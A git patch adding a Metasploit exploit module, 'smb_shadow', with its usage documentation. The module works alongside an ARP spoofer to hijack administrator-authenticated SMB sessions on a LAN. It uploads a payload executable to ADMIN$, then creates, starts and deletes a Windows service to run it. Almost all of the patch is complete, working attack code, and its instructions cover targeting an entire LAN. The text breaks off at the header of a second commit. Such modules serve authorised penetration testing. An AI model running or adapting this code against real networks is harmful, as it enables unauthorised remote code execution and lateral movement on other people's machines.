From e2734293e1469b7c0e1cf95e1bbfc8b3320337a7 Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Wed, 24 Nov 2021 20:05:30 +0900 Subject: [PATCH 1/8] Add SMB Shadow Module: Direct SMB Session Takeover This module intercepts direct SMB connections on the LAN. Both the SMB Server and Client must be on the LAN. The SMB Client must be authenticating to the Server as an Administrator. This module is dependent on an external ARP spoofer. --- .../modules/exploit/windows/smb/smb_shadow.md | 27 + modules/exploits/windows/smb/smb_shadow.rb | 618 ++++++++++++++++++ 2 files changed, 645 insertions(+) create mode 100644 documentation/modules/exploit/windows/smb/smb_shadow.md create mode 100644 modules/exploits/windows/smb/smb_shadow.rb diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md new file mode 100644 index 000000000000..54315885468b --- /dev/null +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -0,0 +1,27 @@ +## Vulnerable Application + +To be able to use exploit/windows/smb/smb_shadow, you must meet these requirements: + +* There is a Windows SMB Server on the LAN +* There is a Windows SMB Client on the LAN +* Metasploit is running will full local socket access (ex. as root user) + +## Verification Steps + +1. Run bettercap targeting both the SMB Client and Server +2. Start msfconsole +3. Do `use exploit/windows/smb/smb_shadow` +4. Do `run` +5. Wait for the SMB Client to connect to the SMB Server as Administrator + +## Scenarios + +**Active Windows Network** + +Follow the following steps to target all the hosts on the LAN: + +1. Run bettercap targeting the entire LAN +2. Start msfconole +3. Do `use exploit/windows/smb/smb_shadow` +4. Do `run` +5. Wait for any SMB Client to connect to any SMB Server as Administrator diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb new file mode 100644 index 000000000000..89e169e8d28a --- /dev/null +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -0,0 +1,618 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Capture + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows SMB Direct Session Takeover', + 'Description' => %q{ + This module will intercept direct SMB authentication requests to + another host, gaining access to an authenticated SMB session if + successful. If the connecting user is an administrator and network + logins are allowed to the target machine, this module will execute an + arbitrary payload. To exploit this, the target system must try to + autheticate to another host on the local area network. + + SMB Direct Session takeover is a combination of previous attacks. + + The original SMB relay attack was first reported by Sir Dystic on March + 31st, 2001 at @lanta.con in Atlanta, Georgia. + }, + 'Author' => + [ + 'usiegl00' + ], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true, + 'StackAdjustment' => -3500, + }, + 'References' => + [ + [ 'URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack' ] + ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DisclosureDate' => '2021-02-16', + 'DefaultTarget' => 0 )) + + register_options( + [ + #OptAddress.new('SMBHOST', [ false, "The target SMB server" ]), + OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]) + #OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) + ]) + + deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT','TIMEOUT') + end + + def exploit + print_good("INFO : Warming up...") + print_error("WARNING : Not running as Root. This can cause socket permission issues.") unless Process.uid == 0 + @sessions = {} + @main_threads = [] + @interface = datastore['INTERFACE'] || Pcap.lookupdev + raise "ERROR : Interface not found: #{@interface}" unless Socket.getifaddrs.map(&:name).include? @interface + @ip4 = ipv4_addresses[@interface]&.first + raise "ERROR : Interface does not have address: #{@interface}" unless @ip4&.count(".") == 3 + @mac = get_mac(@interface) + #raise "ERROR : Interface does not have mac: #{@interface}" unless @mac + #@gateip4 = datastore['GATEWAY'] + #raise "ERROR : Invalid Gateway ip address: #{@gateip4}" unless @gateip4&.count(".") == 3 + #@gatemac = arp(tpa: @gateip4) + #raise "ERROR : Unable to retrieve Gateway mac address: #{@gateip4}" unless @gatemac && @gatemac.class == String + @share = datastore['SHARE'] + print_status("Self: #{@ip4} | #{@mac}") + #print_status("Gateway: #{@gateip4} | #{@gatemac}") + disable_p445_fwrd + start_syn_capture + start_ack_capture + print_status("INFO : This module must be run alongside an arp spoofer / poisoner.") + print_status("INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.") + main_capture + end + + def disable_p445_fwrd + if RUBY_PLATFORM.include?("darwin") + IO.popen("pfctl -f -", "r+", err: "/dev/null") do |pfctl| + pfctl.write("block out on #{@interface} proto tcp from any to any port 445\n") + pfctl.close_write + end + IO.popen("pfctl -e", err: "/dev/null").close + elsif RUBY_PLATFORM.include?("nix") + %x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP} + else + print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") + print_error("WARNING : Port 445 forwarding must be blocked manually.") + end + print_good("INFO : Port 445 forwarding disabled.") + return true + end + + def start_syn_capture + @syn_capture_thread = Thread.new { + c = PacketFu::Capture.new(iface: @interface, promisc: true) + c.capture + c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0") + c.stream.each_data do |data| + packet = PacketFu::Packet.parse(data) + @sessions[packet.tcp_header.tcp_src] = {} + @sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack + @sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq + @sessions[packet.tcp_header.tcp_src][:active] = true + @sessions[packet.tcp_header.tcp_src][:dstmac] = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst))) + packet.eth_header.eth_src = [@mac.split(":").join].pack("H*") + packet.eth_header.eth_dst = [@sessions[packet.tcp_header.tcp_src][:dstmac].split(":").join].pack("H*") + packet.to_w(@interface) + end + } + end + + def start_ack_capture + @ack_capture_thread = Thread.new { + c = PacketFu::Capture.new(iface: @interface, promisc: true) + c.capture + c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42") + c.stream.each_data do |data| + packet = PacketFu::Packet.parse(data) + if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] + @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] + packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] + packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] + packet.eth_header.eth_src = [@mac.split(":").join].pack("H*") + packet.eth_header.eth_dst = [@sessions[packet.tcp_header.tcp_src][:dstmac].split(":").join].pack("H*") + packet.to_w(@interface) + end + end + } + end + + def arp(smac: @mac, dmac: "ff:ff:ff:ff:ff:ff", + sha: @mac, spa: @ip4, + tha: "00:00:00:00:00:00", tpa: "", op: 1, + iface: @interface, capture: true) + p = PacketFu::ARPPacket.new( + eth_src: [smac.split(":").join].pack("H*"), + eth_dst: [dmac.split(":").join].pack("H*"), + arp_src_mac: [sha.split(":").join].pack("H*"), + arp_src_ip: spa.split(".").map(&:to_i).pack("C*"), + arp_dst_mac: [tha.split(":").join].pack("H*"), + arp_dst_ip: tpa.split(".").map(&:to_i).pack("C*"), + arp_opcode: op + ) + if capture + c = PacketFu::Capture.new(iface: iface) + c.capture + c.stream.setfilter("arp src #{tpa} and ether dst #{smac}") + p.to_w(iface) + sleep 0.1 + c.save + c.array.each do |pkt| + pkt = PacketFu::Packet.parse pkt + return pkt.arp_header.arp_src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") if pkt.arp_header.arp_src_ip == tpa.split(".").map(&:to_i).pack("C*") + return pkt.arp_header.arp_src_ip.to_s.bytes.map(&:to_s).join(".") if pkt.arp_header.src_mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") == tha + end + else + return p.to_w(iface) + end + end + + def ipv4_addresses + results = {} + Socket.getifaddrs.each do |iface| + if iface.addr.ipv4? + results[iface.name] = [] unless results[iface.name] + results[iface.name] << iface.addr.ip_address + end + end + return results + end + + def main_capture + mc = PacketFu::Capture.new(iface: @interface, promisc: true) + mc.capture + mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42") + mc.stream.each_data do |data| + packet = PacketFu::Packet.parse(data) + nss = packet.payload[0..3] + smb2 = packet.payload[4..] + # Only Parse Packets from known sessions + if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") + # Negotiate Protocol Request + if (smb2[11..12] == "\x00\x00") + #if packet.smb2.command == 0 && !packet.smb2.flags_response? + smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) + # Dialect Count Set To 1 + smb_packet.dialect_count = 1 + smb_packet.dialects = [smb_packet.dialects.first] + smb_packet.negotiate_context_list = [] + smb_packet.client_start_time = 0 + # Re-Calculate Length: + #nss = [smb_packet.to_binary_s.size].pack("L>") + packet.payload = "#{nss}#{smb_packet.to_binary_s}" + # Session Setup Request, NTLMSSP_AUTH + elsif smb2[11..12] == "\x00\x01"# && !packet.smb2_sessionsetup_request.buffer[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID) + smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) + if smb_packet.smb2_header.session_id != 0 + # Disable Session + @sessions[packet.tcp_header.tcp_src][:active] = false + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] + @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] + # Start Main Thread + @main_threads << Thread.new { main_thread(packet) } + end + end + end + if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] + @sessions[packet.tcp_header.tcp_src][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.tcp_header.tcp_src][:acknum] + @sessions[packet.tcp_header.tcp_src][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.tcp_header.tcp_src][:seqnum] + packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] + packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] + packet.eth_header.eth_src = str2mac(@mac) + packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) + packet.recalc + packet.to_w(@interface) + end + end + end + + def main_thread(packet) + # Setup Vars + tree_id = 0 + process_id = 0 + eth_src = str2mac(@mac) + eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) + packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] + packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] + packet.eth_header.eth_src = eth_src + packet.eth_header.eth_dst = eth_dst + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::SessionSetupResponse.read(response.payload[4..]) + + print_status("Connecting to the defined share...") + request = RubySMB::SMB2::Packet::TreeConnectRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" + eth_header = PacketFu::EthHeader.new( + eth_src: eth_src, + eth_dst: eth_dst + ) + ip_header = PacketFu::IPHeader.new( + ip_src: int2ip(response.ip_header.ip_dst), + ip_dst: int2ip(response.ip_header.ip_src) + ) + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + if response_smb2.smb2_header.nt_status != 0 + raise "Access Denied." + end + + print_status("Regenerating the payload...") + code = regenerate_payload() + tree_id = response_smb2.smb2_header.tree_id + process_id = response_smb2.smb2_header.process_id + + print_status("Uploading payload...") + filename = rand_text_alpha(8) + ".exe" + servicename = rand_text_alpha(8) + request = RubySMB::SMB2::Packet::CreateRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_attributes.directory = 0 + request.file_attributes.normal = 1 + request.create_options.directory_file = 0 + request.create_options.non_directory_file = 1 + request.share_access.read_access = 1 + request.share_access.write_access = 1 + request.desired_access.read_data = 1 + request.desired_access.write_data = 1 + request.desired_access.write_ea = 1 + request.desired_access.read_attr = 1 + request.desired_access.write_attr = 1 + request.requested_oplock = 255 + request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE + request.create_disposition = RubySMB::Dispositions::FILE_SUPERSEDE + request.name = "#{filename}" + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + file_id = response_smb2.file_id + opts = { + servicename: servicename, + code: code.encoded + } + if datastore['PAYLOAD'].include?(ARCH_X64) + opts.merge!({ arch: ARCH_X64 }) + end + exe = generate_payload_exe_service(opts) + exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index| + request = RubySMB::SMB2::Packet::WriteRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.write_offset = 1000 * exe_fragment_index + request.buffer = exe_fragment.pack("C*") + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..]) + end + + print_status("Created \\#{filename}...") + request = RubySMB::SMB2::Packet::CloseRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::CloseResponse.read(response.payload[4..]) + request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..]) + + print_status("Connecting to the Service Control Manager...") + request = RubySMB::SMB2::Packet::TreeConnectRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\IPC$" + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + tree_id = response_smb2.smb2_header.tree_id + request = RubySMB::SMB2::Packet::CreateRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_attributes.directory = 0 + request.file_attributes.normal = 1 + request.create_options.directory_file = 0 + request.create_options.non_directory_file = 1 + request.share_access.read_access = 1 + request.desired_access.read_data = 1 + request.share_access.write_access = 1 + request.desired_access.write_data = 1 + request.requested_oplock = 255 + request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE + request.create_disposition = RubySMB::Dispositions::FILE_OPEN + request.name = "svcctl" + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + file_id = response_smb2.file_id + bind_req = RubySMB::Dcerpc::Bind.new(endpoint: RubySMB::Dcerpc::Svcctl) + request = RubySMB::SMB2::Packet::WriteRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.write_offset = 0 + request.buffer = bind_req.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::WriteResponse.read(response.payload[4..]) + request = RubySMB::SMB2::Packet::ReadRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.read_length = 1024 + request.offset = 0 + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::ReadResponse.read(response.payload[4..]) + open_scmw_request = RubySMB::Dcerpc::Svcctl::OpenSCManagerWRequest.new(dw_desired_access: 0x10 | 0x20 | 0x02 | 0x01 | 0x04 | 0x08 | 0x04) + open_scmw_request.lp_machine_name = ip2str(int2ip(response.ip_header.ip_src)) + open_scmw_request.lp_database_name = "ServicesActive" + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_scmw_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request.stub.read(open_scmw_request.to_binary_s) + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) + open_scmw_response = RubySMB::Dcerpc::Svcctl::OpenSCManagerWResponse.read(dcerpc_response.stub.to_s) + servicename = rand_text_alpha(8) + displayname = rand_text_alpha(rand(32)+1) + + print_status("Creating a new service...") + # RubySMB does not support CreateService. + stubdata = + open_scmw_response.lp_sc_handle.to_binary_s + + Rex::Encoder::NDR.wstring(servicename) + + Rex::Encoder::NDR.uwstring(displayname) + + + Rex::Encoder::NDR.long(0x0F01FF) + # Access: MAX + Rex::Encoder::NDR.long(0x00000110) + # Type: Interactive, Own process + Rex::Encoder::NDR.long(0x00000003) + # Start: Demand + Rex::Encoder::NDR.long(0x00000000) + # Errors: Ignore + + Rex::Encoder::NDR.wstring("%SYSTEMROOT%\\#{filename}") + # Binary Path + Rex::Encoder::NDR.long(0) + # LoadOrderGroup + Rex::Encoder::NDR.long(0) + # Dependencies + Rex::Encoder::NDR.long(0) + # Service Start + Rex::Encoder::NDR.long(0) + # Password + Rex::Encoder::NDR.long(0) + # Password + Rex::Encoder::NDR.long(0) + # Password + Rex::Encoder::NDR.long(0) # Password + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 12 }, { endpoint: "Svcctl" }) + #dcerpc_request.stub.read(stubdata) + dcerpc_request.stub = stubdata + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + + print_status("Closing service handle...") + dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) + csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: dcerpc_response.stub[4,24]) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request.stub.read(csh_request.to_binary_s) + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + open_sw_request = RubySMB::Dcerpc::Svcctl::OpenServiceWRequest.new(dw_desired_access: 0x00F01FF) + open_sw_request.lp_sc_handle = open_scmw_response.lp_sc_handle + open_sw_request.lp_service_name = servicename + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: open_sw_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request.stub.read(open_sw_request.to_binary_s) + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) + open_sw_response = RubySMB::Dcerpc::Svcctl::OpenServiceWResponse.read(dcerpc_response.stub.to_s) + + print_status("Starting the service...") + ss_request = RubySMB::Dcerpc::Svcctl::StartServiceWRequest.new(h_service: open_sw_response.lp_sc_handle) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: ss_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request.stub.read(ss_request.to_binary_s) + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + if response_smb2.smb2_header.nt_status == 0x103 + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + end + + print_status("Removing the service...") + # RubySMB does not support DeleteService + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: 2 }, { endpoint: "Svcctl" }) + #dcerpc_request.stub.read(open_sw_response.lp_sc_handle.to_binary_s) + dcerpc_request.stub = open_sw_response.lp_sc_handle.to_binary_s + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + + print_status("Closing service handle...") + csh_request = RubySMB::Dcerpc::Svcctl::CloseServiceHandleRequest.new(h_sc_object: open_sw_response.lp_sc_handle) + dcerpc_request = RubySMB::Dcerpc::Request.new({ opnum: csh_request.opnum }, { endpoint: "Svcctl" }) + dcerpc_request.stub.read(csh_request.to_binary_s) + request = RubySMB::SMB2::Packet::IoctlRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_id = file_id + request.ctl_code = 0x0011C017 + request.flags.is_fsctl = 0x00000001 + request.buffer = dcerpc_request.to_binary_s + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..]) + request = RubySMB::SMB2::Packet::TreeDisconnectRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::TreeDisconnectResponse.read(response.payload[4..]) + + print_status("Deleting \\#{filename}...") + request = RubySMB::SMB2::Packet::TreeConnectRequest.new + request.smb2_header.process_id = process_id + request.smb2_header.credit_charge = 1 + request.smb2_header.credits = 256 + request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1 + request.smb2_header.session_id = response_smb2.smb2_header.session_id + request.path = "\\\\#{ip2str(int2ip(response.ip_header.ip_src))}\\#{@share}" + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::TreeConnectResponse.read(response.payload[4..]) + tree_id = response_smb2.smb2_header.tree_id + request = RubySMB::SMB2::Packet::CreateRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_attributes.directory = 0 + request.file_attributes.normal = 1 + request.create_options.directory_file = 0 + request.create_options.non_directory_file = 1 + request.share_access.delete_access = 1 + request.desired_access.delete_access = 1 + request.requested_oplock = 255 + request.impersonation_level = RubySMB::ImpersonationLevels::SEC_IMPERSONATE + request.create_disposition = RubySMB::Dispositions::FILE_OPEN + request.name = "#{filename}" + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..]) + request = RubySMB::SMB2::Packet::SetInfoRequest.new + set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.file_info_class = RubySMB::Fscc::FileInformation::FILE_DISPOSITION_INFORMATION + request.buffer.delete_pending = 1 + request.file_id = response_smb2.file_id + packet = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: make_tcp_header(response)) + packet.payload = "#{[request.to_binary_s.size].pack("L>")}#{request.to_binary_s}" + response = get_response(packet) + # Done. + end + + def get_response(packet) + packet.recalc + rc = PacketFu::Capture.new(iface: @interface, promisc: true) + rc.capture + rc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and src port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42 and tcp[4:4] = #{packet.tcp_header.tcp_ack}") + packet.to_w(@interface) + response = rc.stream.each_data do |data| + break PacketFu::Packet.parse(data) + end + return response + end + + def make_tcp_header(response) + return PacketFu::TCPHeader.new( + tcp_src: response.tcp_header.tcp_dst, + tcp_dst: response.tcp_header.tcp_src, + tcp_seq: response.tcp_header.tcp_ack, + tcp_ack: response.tcp_header.tcp_seq + response.payload.size, + tcp_win: response.tcp_header.tcp_win, + tcp_flags: {ack: 1, psh: 1} + ) + end + + def set_request_smb2_header_flags(request, tree_id, process_id, response_smb2) + request.smb2_header.tree_id = tree_id + request.smb2_header.process_id = process_id + request.smb2_header.credit_charge = 1 + request.smb2_header.credits = 256 + request.smb2_header.message_id = response_smb2.smb2_header.message_id + 1 + request.smb2_header.session_id = response_smb2.smb2_header.session_id + return nil + end + + def str2mac(str) + return [str.split(":").join].pack("H*") + end + def mac2str(mac) + return mac.to_s.bytes.map {|s| s.to_s(16).rjust(2, "0") }.join(":") + end + def str2ip(str) + return str.split(".").map(&:to_i).pack("C*") + end + def ip2str(ip) + return ip.bytes.map(&:to_s).join(".") + end + def int2ip(int) + return [int].pack("L>") + end + + def cleanup + print_status "Cleaning Up..." + @syn_capture_thread.exit if @syn_capture_thread + @ack_capture_thread.exit if @ack_capture_thread + @main_threads.map(&:exit) if @main_threads + print_status "Cleaned Up." + end +end From e19511a31c44d93ba0ba11760dc91a586617ee1a Mon Sep 17 00:00:00 2001 From: usiegl00 